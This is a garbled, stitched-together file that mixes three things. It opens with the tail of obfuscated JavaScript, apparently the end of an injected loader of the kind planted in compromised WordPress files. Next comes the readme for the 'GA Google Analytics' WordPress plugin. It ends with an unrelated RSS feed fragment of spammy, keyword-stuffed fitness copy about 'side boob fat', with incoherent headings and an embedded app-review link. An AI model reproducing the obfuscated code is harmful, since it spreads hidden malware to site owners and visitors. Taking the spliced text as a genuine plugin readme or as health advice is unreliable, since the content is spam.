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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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	<title>Best fitness apps in USA April 2026 &#8211; pspwptest</title>
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		<title>5 Exercises To Say Goodbye to Side Boob Fat Quickly</title>
		<link>https://psp-wp-test.objectsdev.com/5-exercises-to-say-goodbye-to-side-boob-fat/</link>
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		<pubDate>Tue, 17 Mar 2026 13:53:57 +0000</pubDate>
				<category><![CDATA[Best fitness apps in USA April 2026]]></category>
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					<description><![CDATA[You can vary your pace to challenge yourself and maximize fat burning. It cannot be stressed enough that these exercises will only be effective if you eat the right foods. You will need to determine what works best for your lifestyle and you. Are there any risks involved in targeting side boob fat? When you [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>You can vary your pace to challenge yourself and maximize fat burning. It cannot be stressed enough that these exercises will only be effective if you eat the right foods. You will need to determine what works best for your lifestyle and you.</p>
<h2>Are there any risks involved in targeting side boob fat?</h2>
<p>When you see a super fit person walking down the street with a body to be proud of it’s taken a lot more work then most people think. High intake of added sugars, especially from sugary beverages, is linked to increased fat in the belly area (7). Limit your intake of candies, baked goods, and sweetened beverages.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="workouts to lose side boob fat" src="https://i.ytimg.com/vi/EbO8YD-jpOE/maxresdefault.jpg"/></p>
<h3>What are the benefits of High-Intensity Interval Training (HIIT)?</h3>
<p>It would help to incorporate a full-body workout to reap the results and lose excess fat. Dumbbell flyes effectively target the chest muscles and reduce axillary fat. Lie on a flat bench with a dumbbell in each hand, and lower your arms to the sides until your elbows are at shoulder level. Bring your arms back up to the starting position and repeat for several repetitions. Getting enough sleep each night is essential for maintaining a healthy weight. Skimping on how much sleep you get can lead to overeating and increased fat storage in your body, including side boob fat.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="workouts to lose side boob fat" src="https://trainerjosh.com/wp-content/uploads/2019/04/HipDip-200x200.jpg"/></p>
<h3>How Many Calories Do Squats Burn?</h3>
<p>While comprehensive fat loss is the primary goal, certain exercises can help tone the area around the side boob, leading to a more contoured appearance. Let’s dive into some practical exercises that focus on reducing side fat and strengthening your core muscles. Stay tuned as we explore some specific, effective workouts for trimming down those pesky love handles. To get the most out of your exercise program, make sure you include HIIT, or high-intensity interval training, workouts.</p>
<ul>
<li>However, when it comes to side boob fat, we shouldn&#8217;t think of just losing weight on the scales.</li>
<li>Consistency and patience are key, as changes in body fat distribution take time and dedication.</li>
<li>Exercises like Russian Twists, Bicycle Oblique Crunches, and Woodchoppers are highly effective for toning the side of your waist.</li>
<li>A keto diet comprises foods low in carbs, moderate in protein, and high in fat (9).</li>
<li>Try to practice breathing exercises, avoid stressful situations, address issues that are making you stressed, and try to find ways of relaxing.</li>
<li>If you’re struggling to see results or have concerns about your health, consider consulting a fitness trainer or a nutritionist.</li>
</ul>
<h2>Exercise No. 6: Side Plank with Leg Raises</h2>
<p>Can you simply jog every day and expect your love handles to vanish? Targeted workouts play a vital role in trimming side fat and enhancing core strength. If you’ve been poking at your sides wondering why fat loves to stick around there, the answer is based in biology.</p>
<h2>Medical Professionals</h2>
<p>Targeting side boob fat is essential for aesthetics, strength, and confidence. Reducing excess fat in this area can help improve the appearance of the chest, enhance posture, and increase self-esteem. Muscleandfitness.com describes this exercise as the primary workout that “strengthens the back, shoulders, and biceps while actively engaging the core throughout the movement”. The site stresses how crucial dumbbells are because using them not only builds muscle but they also build on stability and balance on both sides of the body. You should not shy away from lifting and creating muscle; doing so make a big difference.</p>
<h3>Health Tools</h3>
<p>To reduce side boob fat, focus on a well-balanced diet that includes lean proteins, fruits, vegetables, and whole grains. While they won’t specifically target side boob fat, they will contribute to reducing your overall body fat percentage. Integrating regular cardio is an integral part of your workout routine if you’re keen on maximum results. Heart-pumping exercises make you sweat, burn calories, and indeed help you in your quest to reduce side fat.</p>
<h3>Fuel groundbreaking medical research!</h3>
<p>If you consume fewer calories than your body burns off you’ll create a calorie deficit and will lose weight. So if I do only crunches and planks I’ll erase belly fat and have a sick set of abs? The body doesn’t burn fat from specific areas because you work on just that area. There’s very limited research in favor of spot reduction, so don’t bank on it. Instead, aim to do general full-body exercises that burn fat all-around. You may not drop fat from your belly first, but your goal should be to burn fat period.</p>
<h2>High-Intensity Intermittent Exercises</h2>
<p>Stress not only drains your energy levels, but it can also sap your motivation and cause emotional eating where you eat for comfort. Not only that but cortisol, a stress hormone, is secreted when we’re stressed and it can suppress the metabolism so we have less energy and burn off fewer calories. One of the simplest tips for losing side boob fat, and indeed, fat in general, is to create a calorie deficit so that you lose weight. Weight loss is not a complex topic when you break it down, it boils down to calories in versus calories out.</p>
<h2>Lower Body</h2>
<p>Oblique Crunch or bicycle crunch targets the oblique muscles and helps in <a href="https://unimeal-app.reviews/">reviews unimeal</a> reducing all the side fat. It is a good torso exercise that targets not just the lower fat but the upper fat as well, making it one of the most effective oblique exercises. Incorporating anti-inflammatory foods and those high in omega-3 fatty acids can also aid in reducing overall body fat. Foods such as salmon, avocados, and nuts not only support heart health but also contribute to a feeling of fullness, helping you avoid overeating. Drinking adequate water supports metabolic processes and helps reduce hunger, often confused with thirst. Additionally, consider meal timing and portion control as part of your strategy to create a caloric deficit necessary for fat loss.</p>
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